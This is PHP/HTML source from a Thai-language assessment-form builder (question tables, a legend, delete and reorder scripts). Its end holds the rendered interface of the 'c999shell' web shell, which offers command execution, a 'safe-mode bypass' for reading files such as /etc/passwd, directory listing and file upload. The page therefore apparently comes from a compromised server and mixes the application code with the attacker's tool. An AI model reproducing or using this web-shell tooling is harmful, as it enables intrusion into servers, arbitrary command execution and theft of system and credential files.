$oT->addCell("<img src=\"../picture/blank1.gif\">&nbsp;&nbsp;<a href=\"javascript:doDeleteMainTQ(document.form1,'$assid', '$oTQ->nameTQ', '$oTQ->TQid')\"><img src=\"../picture/del.gif\" alt=\"ลบคำถาม(ข้อความ)\" border = \"0\"></a>&nbsp;&nbsp;<a href=\"editMainQuestionTQ.php?assid=$assid&indexSeq=$i&TQid=$oTQ->TQid&sectionTQid=$oTQ->sectionTQid\"><img src=\"../picture/edit.gif\" alt=\"แก้ไขคำถาม(ข้อความ)\" border=\"0\"></a>$updownTQ","","","","","65","");
                }else{
                    
$oT->addCell("<img src=\"../picture/blank1.gif\">&nbsp;&nbsp;<img src=\"../picture/deled.gif\" alt=\"ลบคำถาม(ข้อความ)ไม่ได้\" border = \"0\">&nbsp;&nbsp;<a href=\"editMainQuestionTQ.php?assid=$assid&indexSeq=$i&TQid=$oTQ->TQid&sectionTQid=$oTQ->sectionTQid\"><img src=\"../picture/edit.gif\" alt=\"แก้ไขคำถาม(ข้อความ)\" border=\"0\"></a>$updownTQ","","","","","65","");
                }
                
$oT->rowEnd();

                
$index3++;
            }
// end while oTQ

            //------------> สร้างตารางเพิ่มคำถามข้อหลัก (ปลายเปิด)
            
$oT->rowStart("","#EAEAEA");
            
$oT->addCell("","","","","","420","");
            
$oT->addCell("","","","","","65","");
            
$oT->rowEnd();
            
//showSectionRQ();
//            $oT->rowStart("","#EAEAEA");
            
$oT->rowStart("","#D2D2D2");
            
$oT->addCell("เพิ่มคำถาม","","","","","420","");
            
//$oT->addCell("<a href=\"editNameAss.php?assid=$oSt->assid\"><img src=\"../picture/new.gif\" alt=\"เพิ่มข้อหลัก\"  border=\"0\"></a>");
            
if($UsedAss == 0){
                
$oT->addCell("<a href=\"addMainQuestionTQ.php?assid=$assid&indexSeq=$i&sectionTQid=$oSAT->sectionTQid\"><img src=\"../picture/new.gif\" alt=\"เพิ่มคำถาม\"  border=\"0\"></a>","","","","","65","");
            }else{
                
$oT->addCell("<img src=\"../picture/newed.gif\" alt=\"เพิ่มคำถามไม่ได้\"  border=\"0\">","","","","","65","");
            }
            
$oT->rowEnd();
        }    
//end if sectionTQid

        
if($QEachSection[$i] != 0){
            
$haveQSection++;
        }
        
$i $i+1// เพิ่มค่า i 
    
//end while oSAT

    /*----------------เริ่มสร้างหัวตาราง-------------------------*/
    
echo $oT->output();  

//echo "<br> AddHeaderAllSection = ".$AddHeaderAllSection;
//echo "<br> ค่า i = ".$i;
//echo "<br> haveQSection = ".$haveQSection;    
?>
<br>         
 <?
     
if(($oAF->confirmUse == 1) || (($AddHeaderAllSection 0) && ($AddHeaderAllSection == $i-1)) && ($haveQSection == $i-1)) {?>
        <table width="619" align="center" >
          <tr> 
            <td width="24"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
              <input type="checkbox" name="confirmUse" value="1"<? if($oAF->confirmUse == "1") { echo "checked   disabled"; } ?>>
            </font> </td>
            <td width="583"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">เลือกเพื่อยืนยันการสร้างแบบประเมิน 
              ซึ่งหมายถึงแบบประเมินที่สร้างนั้นได้สร้างเสร็จแล้ว และสามารถนำไปกำหนดช่วงเวลา</font></td>
          </tr>
          <tr> 
            <td>&nbsp;</td>
            <td><font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2">ประเมินเพื่อใช้ในการประเมินได้ 
              หากไม่เลือกยืนยันการสร้างแบบประเมินจะหมายถึงแบบประเมินนี้ยังสร้างไม่เสร็จสมบูรณ์</font></td>
          </tr>
          <tr> 
            <td>&nbsp;</td>
            <td></td>
          </tr>
          <tr> 
            <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
              <input type="submit" name="add" value="ยืนยันการสร้างแบบประเมิน" onClick="if(ver2(this.form,'กรุณาเลือกเพื่อยืนยันการสร้างแบบประิเมิน !')) return checkFormat(); else return false;" <? if($oAF->confirmUse == "1") echo "disabled"?> >
              </font></td>
          </tr>
        </table>
     <? ?><br>
        <table width="592" align="center">
          <tr align="center"> 
            <td width="580" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp; 
              </font> </td>
          </tr>
            <tr>
            <td width="580"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
              <input type="button" name="back2" value="กลับเมนูหลัก" onClick=" location.href = 'index.php?mm=1'"><input type="button" name="back" value="ย้อนกลับ" onClick=" location.href = 'showListAss.php'">
              </font>
            </td>
          </tr>
          <tr> 
            <td>&nbsp;</td>
          </tr>
        </table>
<br>
</form>
  </fieldset><br>
    <table width="730" border="0">
        <tr> 
          <td height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ 
            :</b> </font></td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/add_section.png" width="16" height="16"  border="0"> 
            หมายถึง สร้างส่วนหรือกำหนดลักษณะของคำถามแบบประเมิน</font></td>
        </tr>
        <tr> 
          <td width="60" height="22">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/new.gif" width="16" height="16"  border="0"> 
            หมายถึง เพิ่มคำถามข้อหลัก หรือคำถามข้อย่อยที่เลือกดำเนินการแถวนั้นๆ</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/inputSecRQ.gif" width="16" height="16"  border="0"> 
            หมายถึง  กำหนดคำอธิบายการตอบของส่วนนี้ ชื่อคอลัมน์รายการประเมิน ชื่อเรียกรวมคอลัมน์ระดับการประเมิน</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td width="14"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">&nbsp; 
            </font></td>
          <td width="642"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">และกำหนดจำนวนส่วนหัวย่อยของตารางระดับคะแนน 
            หลังจากสร้างส่วนหรือกำหนดลักษณะคำถาม<u>ปลายปิด</u>ไว้แล้ว </font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/inputSecTQ.gif" width="16" height="16"  border="0"> 
            <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">หมายถึง 
            กำหนดคำอธิบายส่วน หลังจากสร้างส่วนหรือกำหนดลักษณะคำถาม<u>ปลายเปิด</u>ไว้แล้ว</font></font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/edit.gif" border="0"> 
            หมายถึง แก้ไขคำถามข้อหลัก หรือคำถามข้อย่อยที่เลือกดำเนินการแถวนั้นๆ</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/del.gif" alt="ลบ" width="16" height="16"  border="0"> 
            หมายถึง ลบรายการที่เลือกดำเนินการแถวนั้นๆ</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/up.gif" alt="ลบ" width="16" height="16"  border="0"> 
            หมายถึง เลื่อนคำถามข้อหลักหรือข้อย่อย(ขึ้น) ของรายการที่เลือกดำเนินการแถวนั้นๆ</font></td>
        </tr>
        <tr> 
          <td height="23">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/down.gif" alt="ลบ" width="16" height="16"  border="0"> 
            หมายถึง เลื่อนคำถามข้อหลักหรือข้อย่อย(ลง) ของรายการที่เลือกดำเนินการแถวนั้นๆ</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/alert.gif" alt="ลบ" width="16" height="16"  border="0"> 
            หมายถึง ยังไม่ได้กำหนด/กรอกข้อมูลคำอธิบายการตอบ</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/subtract.jpg" alt="ลบ"  border="0"> 
            หมายถึง เป็นคำถามเชิงลบ</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/add_sectioned.png" width="16" height="16"  border="0"> 
            <img src="../picture/newed.gif" width="16" height="16"  border="0"> 
            <img src="../picture/deled.gif" alt="ลบ" width="16" height="16"  border="0"> 
            <img src="../picture/uped.gif" alt="ลบ" width="16" height="16"  border="0"> 
            <img src="../picture/downed.gif" alt="ลบ" width="16" height="16"  border="0"> 
            หมายถึง ไม่สามารถดำเนินการได้</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td colspan="2"><br>
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><img src="../picture/blank1.gif" alt="ลบ" width="16" height="16"  border="0">โดยสัญลักษณ์ที่ใช้เป็นตัวดำเนินการ 
            อยู่ที่แถวใดจะดำเนินการเฉพาะแถวนั้น ยกเว้นสัญลักษณ์ที่ครอบคลุมในส่วนหรือลักษณะคำถามของ</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td colspan="2"><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">การประเมินต่อรายการที่อยู่ในส่วนนั้น 
            เช่น <img src="../picture/del.gif" alt="ลบ" width="16" height="16"  border="0"> 
            ถ้าอยู่ในแถวของการดำเนินการของส่วนแล้วจะหมายถึงลบข้อมูลทั้งส่วน รวมทั้งคำถามข้อหลัก</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"> 
            หรือคำถามข้อย่อย(ถ้ามี) </font></td>
        </tr>
      </table>
</td>
</tr>
</table>
<!--------------------------------------------------------------------->
<!--------------------------------------------------------------------->
<? showFooter(); ?>
<br>
<script language="javascript">
function checkFormat(){
    if (confirm("การยืนยันนี้จะหมายถึงคุณได้สร้างแบบประเมินเรียบร้อยแล้ว  ดังนั้นกรุณาตรวจสอบให้แน่ใจก่อนกดยืนยัน!")) { 
         return true;
    }else{
        return false;
    }
}

function doDeleteSectionRQ(formDelete,i,typeQuestion,assid,sectionRQid){
    if (confirm('ต้องการลบ '+ "'"+ 'ส่วนที่'+ i + ' และคำถามในส่วนนี้(ถ้ามี)ทั้งหมด'+"'"+' ใช่หรือไม่') ) { 
        window.location="processSectionAll.php?method=delete&typeQuestion="+typeQuestion+"&assid="+assid+"&sectionRQid=" +sectionRQid;
    }
}
function doDeleteSectionTQ(formDelete,i,typeQuestion,assid,sectionTQid){
    if (confirm('ต้องการลบ '+ "'"+ 'ส่วนที่'+ i + ' และคำถามในส่วนนี้(ถ้ามี)ทั้งหมด'+"'"+' ใช่หรือไม่') ) { 
        window.location="processSectionAll.php?method=delete&typeQuestion="+typeQuestion+"&assid="+assid+"&sectionTQid=" +sectionTQid;
    }
}
function doDeleteMainRQ(formDelete,Q,assid,nameRQ,RQid){
    if (confirm('ต้องการลบ ' + "'"+nameRQ+ '  และข้อย่อย(ถ้ามี)ทั้งหมด' +"'" +  ' ใช่หรือไม่') ) {
    window.location="processRadioQuestion.php?method=delete&Q="+Q+"&assid="+assid+"&RQid=" +RQid;
    }
}
function doDeleteSubRQ(formDelete,Q,assid,nameRQ,RQid){
    if (confirm('ต้องการลบ ' + "'"+nameRQ+"'" +  ' ใช่หรือไม่') ) {
        window.location="processRadioQuestion.php?method=delete&Q="+Q+"&assid="+assid+"&RQid=" +RQid;
    }
}
function doDeleteMainTQ(formDelete,assid,nameTQ,TQid){
    if (confirm('ต้องการลบ ' + "'"+nameTQ+"'" +  ' ใช่หรือไม่') ) {
        window.location="processTextQuestion.php?method=delete&assid="+assid+"&TQid=" +TQid;
    }
}
 function doUpDownRQ(ud,assid,RQid,sectionRQid,parrentRQid,levelRQ,sequence){
    window.location =  'processRadioQuestion.php?method=updown&ud='+ud+'&assid='+assid+'&RQid='+RQid+'&sectionRQid='+sectionRQid+'&parrentRQid='+parrentRQid+'&levelRQ='+levelRQ+'&sequence='+sequence;
}
 function doUpDownTQ(ud,assid,TQid,sectionTQid,sequence){
    window.location =  'processTextQuestion.php?method=updown&ud='+ud+'&assid='+assid+'&TQid='+TQid+'&sectionTQid='+sectionTQid+'&sequence='+sequence;
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0181 ]--